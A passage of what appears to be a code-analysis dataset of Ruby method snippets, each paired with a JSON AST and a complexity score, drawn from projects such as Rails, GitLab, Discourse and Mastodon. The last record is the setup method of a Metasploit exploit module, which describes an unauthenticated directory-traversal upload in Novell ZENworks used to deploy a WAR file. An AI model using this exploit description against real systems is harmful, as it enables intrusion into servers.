var\",\"children\":[\"addr_by_socket\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"sock\"]},{\"type\":\"lvar\",\"children\":[\"sockaddr\"]}]}]}]},{\"type\":\"resbody\",\"children\":[null,{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"lvasgn\",\"children\":[\"outer_e\",{\"type\":\"lvar\",\"children\":[\"e\"]}]}]},null]}]},{\"type\":\"until\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"socks\"]},\"empty?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"_\"]},{\"type\":\"lvasgn\",\"children\":[\"available_socks\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"IO\"]},\"select\",{\"type\":\"nil\",\"children\":[]},{\"type\":\"lvar\",\"children\":[\"socks\"]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Request\"]},\"TIMEOUT\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"connect_timeout\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"available_socks\"]},\"nil?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"socks\"]},\"each\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"close\"]}]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"HTTP\"]},\"TimeoutError\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Connect timed out after \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Request\"]},\"TIMEOUT\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"connect_timeout\"]}]}]},{\"type\":\"str\",\"children\":[\" seconds\"]}]}]}]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"available_socks\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"sock\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"socks\"]},\"delete\",{\"type\":\"lvar\",\"children\":[\"sock\"]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sock\"]},\"connect_nonblock\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"addr_by_socket\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"sock\"]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Errno\"]},\"EISCONN\"]}]},null,null]},{\"type\":\"resbody\",\"children\":[null,{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sock\"]},\"close\"]},{\"type\":\"lvasgn\",\"children\":[\"outer_e\",{\"type\":\"lvar\",\"children\":[\"e\"]}]},{\"type\":\"next\",\"children\":[]}]}]},null]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"socks\"]},\"each\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"close\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sock\"]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"outer_e\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"lvar\",\"children\":[\"outer_e\"]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"SocketError\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"No address for \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"host\"]}]}]}]}]}]}]}","id":"c430bc57-9f89-4d6a-a819-ca91abdf599e"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/layout/end_alignment.rb","start_line":158,"raw_source":"def check_other_alignment(node)\n          align_with = {\n            keyword: node.loc.keyword,\n            variable: node.loc.keyword,\n            start_of_line: start_line_range(node)\n          }\n          check_end_kw_alignment(node, align_with)\n        end","complexity_score":7.4,"ast_json":"{\"type\":\"def\",\"children\":[\"check_other_alignment\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"align_with\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"keyword\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"loc\"]},\"keyword\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"variable\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"loc\"]},\"keyword\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"start_of_line\"]},{\"type\":\"send\",\"children\":[null,\"start_line_range\",{\"type\":\"lvar\",\"children\":[\"node\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"check_end_kw_alignment\",{\"type\":\"lvar\",\"children\":[\"node\"]},{\"type\":\"lvar\",\"children\":[\"align_with\"]}]}]}]}","id":"71a22e71-731f-4a0b-82fb-f8a5590f3b4b"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/connection_adapters/abstract/connection_pool/queue.rb","start_line":59,"raw_source":"def clear\n          synchronize do\n            @queue.clear\n          end\n        end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"clear\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"synchronize\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@queue\"]},\"clear\"]}]}]}","id":"7347687f-67a5-4a38-8901-2aeffb0bbb2e"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/achievements/destroy_service.rb","start_line":7,"raw_source":"def initialize(current_user, achievement)\n      @current_user = current_user\n      @achievement = achievement\n    end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"current_user\"]},{\"type\":\"arg\",\"children\":[\"achievement\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@current_user\",{\"type\":\"lvar\",\"children\":[\"current_user\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@achievement\",{\"type\":\"lvar\",\"children\":[\"achievement\"]}]}]}]}","id":"e516bf48-64de-4565-8d86-3046a1c1b86e"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-ai/db/migrate/20250721080444_seed_personas_from_triage_scripts.rb","start_line":4,"raw_source":"def up\n    script_fields = DB.query <<~SQL\n      SELECT fields.id, fields.name, (fields.metadata->>'value') AS value, automations.name AS automation_name, automations.id AS automation_id\n      FROM discourse_automation_fields fields\n      INNER JOIN discourse_automation_automations automations ON automations.id = fields.automation_id\n      WHERE fields.name IN ('model', 'system_prompt', 'temperature')\n      AND automations.script = 'llm_triage'\n    SQL\n\n    return if script_fields.empty?\n\n    script_fields =\n      script_fields.reduce({}) do |acc, field|\n        id = field.automation_id\n        acc[id] = { \"automation_id\" => id, \"name\" => field.automation_name } if acc[id].nil?\n\n        acc[field.automation_id].merge!(field.name => field.value)\n\n        acc\n      end\n\n    automation_to_persona_ids =\n      script_fields.transform_values do |field|\n        if field[\"system_prompt\"].blank?\n          nil\n        else\n          name =\n            (\n              if field[\"name\"].present?\n                \"#{field[\"name\"]} triage automation\"\n              else\n                \"Unnamed triage automation script ID #{field[\"automation_id\"]}\"\n              end\n            )\n\n          # Persona's name field cannot be longer than 100 chars.\n          name = name.truncate(99)\n\n          temp = field[\"temperature\"]\n\n          # Extract the model ID from the setting value (e.g., \"custom:-5\" -> \"-5\")\n          model = field[\"model\"]\n          model = model.split(\":\").last if model && model.start_with?(\"custom:\")\n\n          desc = \"Seeded Persona for an LLM Triage script\"\n          prompt = field[\"system_prompt\"]\n\n          existing_id = DB.query_single(<<~SQL, name: name).first\n              SELECT id from ai_personas where name = :name\n            SQL\n\n          next existing_id if existing_id.present?\n\n          DB.query_single(\n            <<~SQL,\n            INSERT INTO ai_personas (name, description, enabled, system_prompt, temperature, default_llm_id, created_at, updated_at)\n            VALUES (:name, :desc, FALSE, :prompt, :temp, :model, NOW(), NOW())\n            RETURNING id\n          SQL\n            name: name,\n            desc: desc,\n            prompt: prompt,\n            temp: temp,\n            model: model,\n          )&.first\n        end\n      end\n\n    new_fields =\n      automation_to_persona_ids\n        .map do |k, v|\n          if v.blank?\n            nil\n          else\n            \"(#{k}, 'triage_persona', json_build_object('value', #{v}), 'choices', 'script', NOW(), NOW())\"\n          end\n        end\n        .compact\n\n    return if new_fields.empty?\n\n    DB.exec <<~SQL\n      INSERT INTO discourse_automation_fields (automation_id, name, metadata, component, target, created_at, updated_at)\n      VALUES #{new_fields.join(\",\")}\n    SQL\n  end","complexity_score":78.78,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"script_fields\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DB\"]},\"query\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"SELECT fields.id, fields.name, (fields.metadata->>'value') AS value, automations.name AS automation_name, automations.id AS automation_id\\n\"]},{\"type\":\"str\",\"children\":[\"FROM discourse_automation_fields fields\\n\"]},{\"type\":\"str\",\"children\":[\"INNER JOIN discourse_automation_automations automations ON automations.id = fields.automation_id\\n\"]},{\"type\":\"str\",\"children\":[\"WHERE fields.name IN ('model', 'system_prompt', 'temperature')\\n\"]},{\"type\":\"str\",\"children\":[\"AND automations.script = 'llm_triage'\\n\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"script_fields\"]},\"empty?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"script_fields\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"script_fields\"]},\"reduce\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"acc\"]},{\"type\":\"arg\",\"children\":[\"field\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"id\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"field\"]},\"automation_id\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"acc\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"id\"]}]},\"nil?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"acc\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"id\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"automation_id\"]},{\"type\":\"lvar\",\"children\":[\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"field\"]},\"automation_name\"]}]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"acc\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"field\"]},\"automation_id\"]}]},\"merge!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"field\"]},\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"field\"]},\"value\"]}]}]}]},{\"type\":\"lvar\",\"children\":[\"acc\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"automation_to_persona_ids\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"script_fields\"]},\"transform_values\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"field\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"field\"]},\"[]\",{\"type\":\"str\",\"children\":[\"system_prompt\"]}]},\"blank?\"]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"name\",{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"field\"]},\"[]\",{\"type\":\"str\",\"children\":[\"name\"]}]},\"present?\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"field\"]},\"[]\",{\"type\":\"str\",\"children\":[\"name\"]}]}]},{\"type\":\"str\",\"children\":[\" triage automation\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Unnamed triage automation script ID \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"field\"]},\"[]\",{\"type\":\"str\",\"children\":[\"automation_id\"]}]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"name\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]},\"truncate\",{\"type\":\"int\",\"children\":[99]}]}]},{\"type\":\"lvasgn\",\"children\":[\"temp\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"field\"]},\"[]\",{\"type\":\"str\",\"children\":[\"temperature\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"model\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"field\"]},\"[]\",{\"type\":\"str\",\"children\":[\"model\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"model\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"model\"]},\"start_with?\",{\"type\":\"str\",\"children\":[\"custom:\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"model\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"model\"]},\"split\",{\"type\":\"str\",\"children\":[\":\"]}]},\"last\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"desc\",{\"type\":\"str\",\"children\":[\"Seeded Persona for an LLM Triage script\"]}]},{\"type\":\"lvasgn\",\"children\":[\"prompt\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"field\"]},\"[]\",{\"type\":\"str\",\"children\":[\"system_prompt\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"existing_id\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DB\"]},\"query_single\",{\"type\":\"str\",\"children\":[\"SELECT id from ai_personas where name = :name\\n\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"name\"]}]}]}]},\"first\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"existing_id\"]},\"present?\"]},{\"type\":\"next\",\"children\":[{\"type\":\"lvar\",\"children\":[\"existing_id\"]}]},null]},{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DB\"]},\"query_single\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"INSERT INTO ai_personas (name, description, enabled, system_prompt, temperature, default_llm_id, created_at, updated_at)\\n\"]},{\"type\":\"str\",\"children\":[\"VALUES (:name, :desc, FALSE, :prompt, :temp, :model, NOW(), NOW())\\n\"]},{\"type\":\"str\",\"children\":[\"RETURNING id\\n\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"desc\"]},{\"type\":\"lvar\",\"children\":[\"desc\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"prompt\"]},{\"type\":\"lvar\",\"children\":[\"prompt\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"temp\"]},{\"type\":\"lvar\",\"children\":[\"temp\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"model\"]},{\"type\":\"lvar\",\"children\":[\"model\"]}]}]}]},\"first\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"new_fields\",{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"automation_to_persona_ids\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"k\"]},{\"type\":\"arg\",\"children\":[\"v\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"v\"]},\"blank?\"]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"(\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"k\"]}]},{\"type\":\"str\",\"children\":[\", 'triage_persona', json_build_object('value', \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"v\"]}]},{\"type\":\"str\",\"children\":[\"), 'choices', 'script', NOW(), NOW())\"]}]}]}]},\"compact\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_fields\"]},\"empty?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DB\"]},\"exec\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"INSERT INTO discourse_automation_fields (automation_id, name, metadata, component, target, created_at, updated_at)\\n\"]},{\"type\":\"str\",\"children\":[\"VALUES \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_fields\"]},\"join\",{\"type\":\"str\",\"children\":[\",\"]}]}]},{\"type\":\"str\",\"children\":[\"\\n\"]}]}]}]}]}","id":"73208d15-135e-458b-a5a2-f0b4abcac78c"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/concerns/virtual_attribute.rb","start_line":68,"raw_source":"def _define_virtual_attribute_getter(attribute, &)\n      define_method attribute do\n        if instance_variable_get(:\"@#{attribute}_set\")\n          instance_variable_get(:\"@#{attribute}\")\n        else\n          value = instance_eval(&)\n\n          set_virtual_attribute_was(attribute, value)\n\n          instance_variable_set(:\"@#{attribute}\", value)\n        end\n      end\n    end","complexity_score":21.3,"ast_json":"{\"type\":\"def\",\"children\":[\"_define_virtual_attribute_getter\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"attribute\"]},{\"type\":\"blockarg\",\"children\":[null]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"define_method\",{\"type\":\"lvar\",\"children\":[\"attribute\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"instance_variable_get\",{\"type\":\"dsym\",\"children\":[{\"type\":\"str\",\"children\":[\"@\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attribute\"]}]},{\"type\":\"str\",\"children\":[\"_set\"]}]}]},{\"type\":\"send\",\"children\":[null,\"instance_variable_get\",{\"type\":\"dsym\",\"children\":[{\"type\":\"str\",\"children\":[\"@\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attribute\"]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"value\",{\"type\":\"send\",\"children\":[null,\"instance_eval\",{\"type\":\"block_pass\",\"children\":[null]}]}]},{\"type\":\"send\",\"children\":[null,\"set_virtual_attribute_was\",{\"type\":\"lvar\",\"children\":[\"attribute\"]},{\"type\":\"lvar\",\"children\":[\"value\"]}]},{\"type\":\"send\",\"children\":[null,\"instance_variable_set\",{\"type\":\"dsym\",\"children\":[{\"type\":\"str\",\"children\":[\"@\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attribute\"]}]}]},{\"type\":\"lvar\",\"children\":[\"value\"]}]}]}]}]}]}","id":"9131e30d-3102-4445-94bf-fafb20653936"}
{"repo_name":"spree","file_path":"./repos/spree/core/app/models/spree/payment/gateway_options.rb","start_line":37,"raw_source":"def shipping\n        order.ship_total * exchange_multiplier\n      end","complexity_score":4.8,"ast_json":"{\"type\":\"def\",\"children\":[\"shipping\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"order\"]},\"ship_total\"]},\"*\",{\"type\":\"send\",\"children\":[null,\"exchange_multiplier\"]}]}]}","id":"b2674e81-cf1a-4a96-b766-3b27623b5e2d"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/lib/annual_report.rb","start_line":29,"raw_source":"def self.prepare(year)\n    SOURCES.each do |klass|\n      klass.prepare(year)\n    end\n  end","complexity_score":3.1,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"prepare\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"year\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SOURCES\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"klass\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"klass\"]},\"prepare\",{\"type\":\"lvar\",\"children\":[\"year\"]}]}]}]}","id":"2410eeda-d716-42c6-b90f-c3f4b3ffcdae"}
{"repo_name":"rails","file_path":"./repos/rails/railties/test/generators/generated_attribute_test.rb","start_line":170,"raw_source":"def test_reference_is_true\n    %w(references belongs_to).each do |attribute_type|\n      assert_predicate create_generated_attribute(attribute_type), :reference?\n    end\n  end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_reference_is_true\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"references\"]},{\"type\":\"str\",\"children\":[\"belongs_to\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"attribute_type\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_predicate\",{\"type\":\"send\",\"children\":[null,\"create_generated_attribute\",{\"type\":\"lvar\",\"children\":[\"attribute_type\"]}]},{\"type\":\"sym\",\"children\":[\"reference?\"]}]}]}]}","id":"804f277e-7c95-47dc-b8c8-d79f70f94437"}
{"repo_name":"dawarich","file_path":"./repos/dawarich/app/services/tracks/parallel_generator.rb","start_line":130,"raw_source":"def time_threshold_minutes\n    @time_threshold_minutes ||= user.safe_settings.minutes_between_routes.to_i\n  end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"time_threshold_minutes\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@time_threshold_minutes\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user\"]},\"safe_settings\"]},\"minutes_between_routes\"]},\"to_i\"]}]}]}","id":"a88c4885-ea7a-46b8-a21f-967e3b077c85"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/http/zenworks_configuration_management_upload.rb","start_line":11,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'Novell ZENworks Configuration Management Arbitrary File Upload',\n        'Description' => %q{\n          This module exploits a file upload vulnerability in Novell ZENworks Configuration\n          Management (ZCM, which is part of the ZENworks Suite). The vulnerability exists in\n          the UploadServlet which accepts unauthenticated file uploads and does not check the\n          \"uid\" parameter for directory traversal characters. This allows an attacker to write\n          anywhere in the file system, and can be abused to deploy a WAR file in the Tomcat\n          webapps directory. ZCM up to (and including) 11.3.1 is vulnerable to this attack.\n          This module has been tested successfully with ZCM 11.3.1 on Windows and Linux. Note\n          that this is a similar vulnerability to ZDI-10-078 / OSVDB-63412 which also has a\n          Metasploit exploit, but it abuses a different parameter of the same servlet.\n        },\n        'Author' => [\n          'Pedro Ribeiro <pedrib[at]gmail.com>', # Vulnerability Discovery and Metasploit module\n        ],\n        'License' => MSF_LICENSE,\n        'References' => [\n          ['CVE', '2015-0779'],\n          ['OSVDB', '120382'],\n          ['URL', 'https://seclists.org/fulldisclosure/2015/Apr/21']\n        ],\n        'DefaultOptions' => { 'WfsDelay' => 30 },\n        'Privileged' => true,\n        'Platform' => 'java',\n        'Arch' => ARCH_JAVA,\n        'Targets' => [\n          [ 'Novell ZCM < v11.3.2 - Universal Java', {} ]\n        ],\n        'DefaultTarget' => 0,\n        'DisclosureDate' => '2015-04-07',\n        'Notes' => {\n          'Reliability' => UNKNOWN_RELIABILITY,\n          'Stability' => UNKNOWN_STABILITY,\n          'SideEffects' => UNKNOWN_SIDE_EFFECTS\n        }\n      )\n    )\n\n    register_options(\n      [\n        Opt::RPORT(443),\n        OptBool.new('SSL',\n                    [true, 'Use SSL', true]),\n        OptString.new('TARGETURI',\n                      [true, 'The base path to ZCM / ZENworks Suite', '/zenworks/']),\n        OptString.new('TOMCAT_PATH',\n                      [false, 'The Tomcat webapps traversal path (from the temp directory)'])\n      ]\n    )\n  end","complexity_score":9.45,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Novell ZENworks Configuration Management Arbitrary File Upload\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module exploits a file upload vulnerability in Novell ZENworks Configuration\\n\"]},{\"type\":\"str\",\"children\":[\"          Management (ZCM, which is part of the ZENworks Suite). The vulnerability exists in\\n\"]},{\"type\":\"str\",\"children\":[\"          the UploadServlet which accepts unauthenticated file uploads and does not check the\\n\"]},{\"type\":\"str\",\"children\":[\"          \\\"uid\\\" parameter for directory traversal characters. This allows an attacker to write\\n\"]},{\"type\":\"str\",\"children\":[\"          anywhere in the file system, and can be abused to deploy a WAR file in the Tomcat\\n\"]},{\"type\":\"str\",\"children\":[\"          webapps directory. ZCM up to (and including) 11.3.1 is vulnerable to this attack.\\n\"]},{\"type\":\"str\",\"children\":[\"          This module has been tested successfully with ZCM 11.3.1 on Windows and Linux. Note\\n\"]},{\"type\":\"str\",\"children\":[\"          that this is a similar vulnerability to ZDI-10-078 / OSVDB-63412 which also has a\\n\"]},{\"type\":\"str\",\"children\":[\"          Metasploit exploit, but it abuses a different parameter of the same servlet.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Pedro Ribeiro 